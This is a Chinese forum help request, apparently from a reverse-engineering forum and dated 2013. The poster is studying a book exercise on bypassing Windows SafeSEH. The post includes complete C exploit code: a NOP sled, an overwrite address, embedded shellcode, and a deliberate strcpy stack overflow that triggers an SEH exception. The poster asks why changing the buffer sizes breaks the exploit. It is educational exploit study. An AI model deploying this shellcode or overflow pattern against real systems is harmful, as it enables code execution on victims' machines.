-
-
[求助]11.5利用未启用SafeSEH绕过SafeSEH代码的一点思考
-
发表于: 2013-11-15 15:36 6004
-
在这一节中,书中代码有两处
char str[200];
我尝试把他们改小,引发的一些问题,代码如下:
第一处char str[200],改为char str[4]后,导致链表循环的问题,不是太理解为什么,求解救。
char str[200];
我尝试把他们改小,引发的一些问题,代码如下:
#include <stdio.h> #include <stdlib.h> #include <Windows.h> char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90" //8 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x12\x10\x12\x11" //地址 "\x90\x90\x90\x90\x90\x90\x90\x90" //由于进行try,会对数据造成破坏 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x6E\x21\x21\x21\x68\x4C\x30\x67\x31\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; DWORD MyException() { printf("This is an exception"); getchar(); return 1; } void test(char *input) { char str[8]; //此处书中代码是200个字节空间,在上面是shellcode又先填入了200个0x90 //既然没有用到,为什么又要开这么大,我尝试了一个str[2],这样会破坏后面的地址 //必须要是4,或是4个倍数,当我设置为4时,却导致了链表的循环,不知是什么原因 //目前改为8个字节,正常执行。 strcpy(str, input); int zero = 0; __try{ zero = 1 /zero; } __except(MyException()) { } } int main() { HINSTANCE hInst = LoadLibrary(L"SEH.dll"); char str[200]; //一句看似没用的话 //通过调试可以发现如果去掉后,栈中空间不足,导致shellcode不能正常存放 __asm int 3 test(shellcode); return 0; }
第一处char str[200],改为char str[4]后,导致链表循环的问题,不是太理解为什么,求解救。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- [分享]易语言逆向分析 6340
- [求助]19.1.2 MailCarrier溢出点定位 5794
- [求助]11.5利用未启用SafeSEH绕过SafeSEH代码的一点思考 6005
- [分享]给书中shellcode加了详细注释 6300
- [分享]10.3覆盖虚函数突破GS 5377
看原图
赞赏
雪币:
留言: